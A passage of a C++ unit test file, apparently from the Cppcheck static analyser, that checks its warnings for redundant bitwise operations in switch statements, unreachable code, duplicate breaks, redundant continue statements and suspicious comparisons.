[test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n 